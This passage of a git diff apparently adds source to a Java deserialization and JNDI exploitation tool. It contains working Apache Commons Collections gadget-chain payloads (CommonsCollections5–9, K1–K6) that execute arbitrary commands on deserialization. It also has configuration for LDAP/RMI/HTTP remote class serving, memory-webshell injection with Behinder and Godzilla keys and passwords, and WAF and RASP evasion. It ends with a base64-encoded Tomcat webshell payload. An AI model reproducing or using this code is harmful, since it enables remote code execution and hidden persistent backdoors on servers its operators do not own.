Class.getMethod() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.getRuntime() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.exec() + *

+ * Requires: + * commons-collections + */ + +@SuppressWarnings({"rawtypes", "unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.MATTHIASKAISER, Authors.JASINNER}) +public class CommonsCollections5 implements ObjectPayload { + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } + + public BadAttributeValueExpException getObject(String command) throws Exception { + + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{new ConstantTransformer(1)}); + // real chain for after setup + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L"); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Reflections.setFieldValue(val, "val", entry); + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return val; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections6.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections6.java new file mode 100644 index 0000000..a4106d3 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections6.java @@ -0,0 +1,87 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.Serializable; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; + + +/** + * Gadget chain: + * java.io.ObjectInputStream.readObject() + * java.util.HashSet.readObject() + * java.util.HashMap.put() + * java.util.HashMap.hash() + * org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() + * org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() + * org.apache.commons.collections.map.LazyMap.get() + * org.apache.commons.collections.functors.ChainedTransformer.transform() + * org.apache.commons.collections.functors.InvokerTransformer.transform() + * java.lang.reflect.Method.invoke() + * java.lang.Runtime.exec() + *

+ * by @matthias_kaiser + */ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.MATTHIASKAISER}) +public class CommonsCollections6 implements ObjectPayload { + public Serializable getObject(String command) throws Exception { + + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + + Transformer transformerChain = new ChainedTransformer(transformers); + + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L"); + HashSet map = new HashSet(1); + map.add("QI4L"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + Reflections.setAccessible(f); + HashMap innimpl = (HashMap) f.get(map); + + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + Reflections.setAccessible(f2); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if (node == null) { + node = array[1]; + } + + Field keyField = null; + try { + keyField = node.getClass().getDeclaredField("key"); + } catch (Exception e) { + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + Reflections.setAccessible(keyField); + keyField.set(node, entry); + + return map; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections7.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections7.java new file mode 100644 index 0000000..5bfce12 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections7.java @@ -0,0 +1,49 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI}) + +public class CommonsCollections7 implements ObjectPayload { + + public Hashtable getObject(String command) throws Exception { + + final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); + + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + + Map innerMap1 = new HashMap(); + Map innerMap2 = new HashMap(); + + // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject + Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); + lazyMap1.put("yy", 1); + + Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); + lazyMap2.put("zZ", 1); + + // Use the colliding Maps as keys in Hashtable + Hashtable hashtable = new Hashtable(); + hashtable.put(lazyMap1, 1); + hashtable.put(lazyMap2, 2); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + + // Needed to ensure hash collision after previous manipulations + lazyMap2.remove("yy"); + + return hashtable; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections8.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections8.java new file mode 100644 index 0000000..548e0bb --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections8.java @@ -0,0 +1,31 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.bag.TreeBag; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.InvokerTransformer; + +import java.util.Comparator; + + +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +@Authors({"navalorenzo"}) + +public class CommonsCollections8 implements ObjectPayload { + + + public TreeBag getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + TransformingComparator comp = new TransformingComparator((Transformer) transformer); + TreeBag tree = new TreeBag((Comparator) comp); + tree.add(templates); + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + return tree; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections9.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections9.java new file mode 100644 index 0000000..c964853 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections9.java @@ -0,0 +1,35 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.DefaultedMap; + +import javax.management.BadAttributeValueExpException; +import java.util.HashMap; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:3.2.1"}) +@Authors({"梅子酒"}) + +public class CommonsCollections9 implements ObjectPayload { + + public BadAttributeValueExpException getObject(String command) throws Exception { + String[] execArgs = {command}; + Class c = (execArgs.length > 1) ? String[].class : String.class; + ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{(Transformer) new ConstantTransformer(Integer.valueOf(1))}); + Transformer[] transformers = TransformerUtil.makeTransformer(command); + Map innerMap = new HashMap(); + Map defaultedmap = DefaultedMap.decorate(innerMap, (Transformer) chainedTransformer); + TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L"); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Reflections.setFieldValue(val, "val", entry); + Reflections.setFieldValue(chainedTransformer, "iTransformers", transformers); + return val; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK1.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK1.java new file mode 100644 index 0000000..730637d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK1.java @@ -0,0 +1,43 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + + +/** + * Gadget chain: + * HashMap + * TiedMapEntry.hashCode + * TiedMapEntry.getValue + * LazyMap.decorate + * InvokerTransformer + * templates... + */ + +@Dependencies({"commons-collections:commons-collections:3.1"}) +public class CommonsCollectionsK1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + HashMap innerMap = new HashMap(); + Map m = LazyMap.decorate(innerMap, transformer); + Map outerMap = new HashMap(); + TiedMapEntry tied = new TiedMapEntry(m, templates); + outerMap.put(tied, "t"); + // clear the inner map data, this is important + innerMap.clear(); + + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + + return outerMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK2.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK2.java new file mode 100644 index 0000000..c7150e9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK2.java @@ -0,0 +1,37 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.collections4.functors.InvokerTransformer; +import org.apache.commons.collections4.keyvalue.TiedMapEntry; +import org.apache.commons.collections4.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:4.0"}) +public class CommonsCollectionsK2 implements ReleaseableObjectPayload { + + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + HashMap innerMap = new HashMap(); + Map m = LazyMap.lazyMap(innerMap, transformer); + Map outerMap = new HashMap(); + TiedMapEntry tied = new TiedMapEntry(m, templates); + outerMap.put(tied, "t"); + // clear the inner map data, this is important + innerMap.clear(); + + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + + return outerMap; + } + + @Override + public void release(Object obj) throws Exception { + + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK3.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK3.java new file mode 100644 index 0000000..3a7ee9f --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK3.java @@ -0,0 +1,34 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.MATTHIASKAISER}) +public class CommonsCollectionsK3 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; + Transformer[] transformers = TransformerUtil.makeTransformer(command); + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + Map innerMap = new HashMap(); + Map outerMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); + Map expMap = new HashMap(); + expMap.put(tme, "QI5L"); + outerMap.remove("QI4L"); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + return expMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK4.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK4.java new file mode 100644 index 0000000..ef5e6e1 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK4.java @@ -0,0 +1,34 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.keyvalue.TiedMapEntry; +import org.apache.commons.collections4.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:4.0"}) +@Authors({Authors.MATTHIASKAISER}) +public class CommonsCollectionsK4 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; + final Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command); + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + Map innerMap = new HashMap(); + Map outerMap = LazyMap.lazyMap(innerMap, transformerChain); + TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); + Map expMap = new HashMap(); + expMap.put(tme, "QI4L"); + outerMap.remove("QI4L"); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + return expMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK5.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK5.java new file mode 100644 index 0000000..07b3df2 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK5.java @@ -0,0 +1,45 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.map.LazyMap; + +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:4.0"}) +@Authors({Authors.QI4L}) +public class CommonsCollectionsK5 implements ObjectPayload { + + public Hashtable getObject(String command) throws Exception { + + final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); + final Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command); + Map innerMap1 = new HashMap(); + Map innerMap2 = new HashMap(); + + // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject + Map lazyMap1 = LazyMap.lazyMap(innerMap1, transformerChain); + lazyMap1.put("yy", 1); + + Map lazyMap2 = LazyMap.lazyMap(innerMap2, transformerChain); + lazyMap2.put("zZ", 1); + + // Use the colliding Maps as keys in Hashtable + Hashtable hashtable = new Hashtable(); + hashtable.put(lazyMap1, 1); + hashtable.put(lazyMap2, 2); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + + // Needed to ensure hash collision after previous manipulations + lazyMap2.remove("yy"); + + return hashtable; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK6.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK6.java new file mode 100644 index 0000000..ab6170f --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK6.java @@ -0,0 +1,38 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InvokerTransformer; +import org.apache.commons.collections4.keyvalue.TiedMapEntry; +import org.apache.commons.collections4.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + + +@Dependencies({"commons-collections:commons-collections:4.0"}) +@Authors({Authors.QI4L}) +public class CommonsCollectionsK6 implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null); + HashMap map = new HashMap<>(); + Map lazyMap = LazyMap.lazyMap(map, new ConstantTransformer(1)); + TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); + + HashMap expMap = new HashMap<>(); + expMap.put(tiedMapEntry, "QI4L"); + lazyMap.remove(templates); + + Reflections.setFieldValue(lazyMap, "factory", invokerTransformer); + + return expMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java b/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java new file mode 100644 index 0000000..09a570f --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java @@ -0,0 +1,213 @@ +package com.qi4l.jndi.gadgets.Config; + +import com.beust.jcommander.JCommander; +import com.beust.jcommander.Parameter; +import com.beust.jcommander.UnixStyleUsageFormatter; +import com.qi4l.jndi.Starter; +import com.qi4l.jndi.gadgets.ObjectPayload; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.StringUtil; +import javassist.ClassPool; + +import java.util.*; + +public class Config { + public static String codeBase; + + @Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1) + public static String ip = "0.0.0.0"; + + @Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2) + public static int ldapPort = 1389; + + @Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2) + public static int rmiPort = 1099; + + @Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3) + public static int httpPort = 3456; + @Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command") + public static String command = "whoami"; + @Parameter(names = {"-v", " --version"}, description = "Show version", order = 5) + public static boolean showVersion; + @Parameter(names = {"-ga", " --gadgets"}, description = "Show gadgets", order = 5) + public static boolean showGadgets; + @Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5) + public static String AESkey = "123"; + @Parameter(names = {"-u", " --user"}, description = "ldap bound account", order = 5) + public static String USER = ""; + @Parameter(names = {"-p", " --PASSWD"}, description = "ldap binding password", order = 5) + public static String PASSWD = ""; + @Parameter(names = {"-j", "--jndi"}, description = "starter", order = 5) + public static boolean jndi = false; + public static String rhost; + public static String rport; + // 从HTTP外部获取路由值 + public static String ROUTE = ""; + // 从HTTP外部获取参数值 + public static String BCEL1 = ""; + // 恶意类是否继承 AbstractTranslet + public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false; + //是否使用反射绕过RASP + public static Boolean IS_OBSCURE = false; + // 各种方式的内存马映射的路径 + public static String URL_PATTERN = "/qi4l"; + // 是否使用落地文件的方式隐藏内存马 + public static Boolean HIDE_MEMORY_SHELL = false; + // 是否生成内存马文件 + public static Boolean GEN_MEM_SHELL = false; + // 内存马文件名 + public static String GEN_MEM_SHELL_FILENAME = ""; + // 落地文件姿势,1 charsets.jar 2 classes + public static int HIDE_MEMORY_SHELL_TYPE = 0; + // 内存马的密码MD5 + public static String PASSWORD = "0f359740bd1cda99"; + // Referer 校验 + public static String HEADER_KEY = "Referer"; + // 用于额外校验的 Http Header 值,默认值 https://QI4L.cn/ + public static String HEADER_VALUE = "https://QI4L.cn/"; + // 哥斯拉的 key,默认是 key + public static String GODZILLA_KEY = "3c6e0b8a9c15224a"; + // 密码原文 + public static String PASSWORD_ORI = "p@ssw0rd"; + // 命令执行回显时,传递执行命令的 Header 头 + public static String CMD_HEADER_STRING = "X-Token-Data"; + //内存马的类型 + public static String Shell_Type = "bx"; + //是否使用windows下Agent写入 + public static Boolean winAgent = false; + //是否使用Linux下Agent写入 + public static Boolean linAgent = false; + // 是否在序列化数据流中的 TC_RESET 中填充脏数据 + public static Boolean IS_DIRTY_IN_TC_RESET = false; + public static Boolean IS_UTF_Bypass = false; + // 填充的脏数据长度 + public static int DIRTY_LENGTH_IN_TC_RESET = 0; + + // 是否使用UTF-8 Overlong Encoding Bypass waf + // jboss + public static Boolean IS_JBOSS_OBJECT_INPUT_STREAM = false; + // DefineClassFromParameter 的路径 + public static String PARAMETER = "dc"; + // 将输入直接写在文件里 + public static String FILE = "out.ser"; + public static Boolean WRITE_FILE = false; + // 是否强制使用 org.apache.XXX.TemplatesImpl + public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false; + // 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader + public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false; + // ScriptEngineManager 是否为 RHINO 引擎 + public static boolean USING_RHINO = false; + public static ClassPool POOL = ClassPool.getDefault(); + // 不同类型内存马的父类/接口与其关键参数的映射 + public static HashMap KEY_METHOD_MAP = new HashMap<>(); + @Parameter(names = {"-he", " --help"}, help = true, description = "Show this help") + private static boolean help = false; + + static { + // Servlet 型内存马,关键方法 service + KEY_METHOD_MAP.put("javax.servlet.Servlet", "service"); + // Filter 型内存马,关键方法 doFilter + KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter"); + // Listener 型内存马,通常使用 ServletRequestListener, 关键方法 requestInitializedHandle + KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle"); + // Websocket 型内存马,关键方法 onMessage + KEY_METHOD_MAP.put("javax.websocket.MessageHandler█Whole", "onMessage"); + // Tomcat Upgrade 型内存马,关键方法 accept + KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept"); + // Tomcat Executor 型内存马,关键方法 execute + KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute"); + // Spring Interceptor 型内存马,关键方法 preHandle + KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle"); + // Webflux 内存马 + KEY_METHOD_MAP.put("org.springframework.web.server.WebFilter", "executePayload"); + } + + public static void applyCmdArgs(String[] args) { + System.out.println(" ██╗███╗ ██╗██████╗ ██╗\n" + + " ██║████╗ ██║██╔══██╗██║\n" + + " ██║██╔██╗ ██║██║ ██║██║\n" + + "██ ██║██║╚██╗██║██║ ██║██║\n" + + "╚█████╔╝██║ ╚████║██████╔╝██║\n" + + " ╚════╝ ╚═╝ ╚═══╝╚═════╝ ╚═╝\n" + + " "); + //process cmd args + JCommander jc = JCommander.newBuilder() + .addObject(new Config()) + .build(); + try { + jc.parse(args); + } catch (Exception e) { + System.out.println("Error: " + e.getMessage() + "\n"); + help = true; + } + + if (showGadgets) { + final List> payloadClasses = + new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); + Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize + + final List rows = new LinkedList(); + rows.add(new String[]{"Payload", "Authors", "Dependencies"}); + rows.add(new String[]{"-------", "-------", "------------"}); + for (Class payloadClass : payloadClasses) { + rows.add(new String[]{ + payloadClass.getSimpleName(), + StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), + StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "") + }); + } + + final List lines = StringUtil.formatTable(rows); + + for (String line : lines) { + System.out.println(" " + line); + } + + System.exit(0); + } + + if (showVersion) { + System.out.println("" + + " /█████ /██ /██ \n" + + " |__ ██| ██ /██/ \n" + + " | ██ \\ ██ /██//███████ /██████ \n" + + " | ██ \\ ████//██_____/ /██__ ██\n" + + " /██ | ██ \\ ██/| ██████ | ██ \\ ██\n" + + "| ██ | ██ | ██ \\____ ██| ██ | ██\n" + + "| ██████/ | ██ /███████/| ██████/\n" + + " \\______/ |__/ |_______/ \\______/"); + System.exit(0); + } + + //获取当前 Jar 的名称 + String jarPath = Starter.class.getProtectionDomain().getCodeSource().getLocation().getPath(); + jc.setProgramName("java -jar JYso.jar"); + jc.setUsageFormatter(new UnixStyleUsageFormatter(jc)); + + if (help) { + jc.usage(); //if -h specified, show help and exit + System.exit(0); + } + + // 特别注意:最后一个反斜杠不能少啊 + Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/"; + } + + public static void init() { + // Servlet 型内存马,关键方法 service + KEY_METHOD_MAP.put("javax.servlet.Servlet", "service"); + // Filter 型内存马,关键方法 doFilter + KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter"); + // Listener 型内存马,通常使用 ServletRequestListener, 关键方法 requestInitializedHandle + KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle"); + // Websocket 型内存马,关键方法 onMessage + KEY_METHOD_MAP.put("javax.websocket.MessageHandler█Whole", "onMessage"); + // Tomcat Upgrade 型内存马,关键方法 accept + KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept"); + // Tomcat Executor 型内存马,关键方法 execute + KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute"); + // Spring Interceptor 型内存马,关键方法 preHandle + KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle"); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Config/HookPointConfig.java b/src/main/java/com/qi4l/jndi/gadgets/Config/HookPointConfig.java new file mode 100644 index 0000000..f24e88e --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Config/HookPointConfig.java @@ -0,0 +1,22 @@ +package com.qi4l.jndi.gadgets.Config; + +import java.util.ArrayList; + +public class HookPointConfig { + + public static ArrayList BasicServletHook = new ArrayList(); + + public static ArrayList TomcatFilterChainHook = new ArrayList(); + + + static { + BasicServletHook.add("javax.servlet.http.HttpServlet"); + BasicServletHook.add("service"); + BasicServletHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse"); + + TomcatFilterChainHook.add("org.apache.catalina.core.ApplicationFilterChain"); + TomcatFilterChainHook.add("doFilter"); + TomcatFilterChainHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse"); + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Config/MemShellPayloads.java b/src/main/java/com/qi4l/jndi/gadgets/Config/MemShellPayloads.java new file mode 100644 index 0000000..5839e32 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Config/MemShellPayloads.java @@ -0,0 +1,136 @@ +package com.qi4l.jndi.gadgets.Config; + +public class MemShellPayloads { + public static String BEHINDER_SHELL_FOR_TOMCAT_OBSCURE = "ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQlPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxOwoJCQlPYmplY3QgbGFzdFJlc3BvbnNlID0gcmVzcDsKCQkJdHJ5IHsKCQkJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCQkJaWYgKHZhbHVlICE9IG51bGwgJiYgdmFsdWUudG9TdHJpbmcoKS5jb250YWlucyhIRUFERVJfVkFMVUUpKSB7CgkJCQkJdHJ5IHsKCQkJCQkJQ2xhc3MgcmVxdWVzdEZhY2FkZUNsYXNzICA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUiLCB0cnVlLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJQ2xhc3MgcmVzcG9uc2VGYWNhZGVDbGFzcyA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlIiwgdHJ1ZSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7CgoJCQkJCQlpZiAoIShyZXF1ZXN0RmFjYWRlQ2xhc3MuaXNBc3NpZ25hYmxlRnJvbShsYXN0UmVxdWVzdC5nZXRDbGFzcygpKSkpIHsKCQkJCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCXdoaWxlICh0cnVlKSB7CgkJCQkJCQk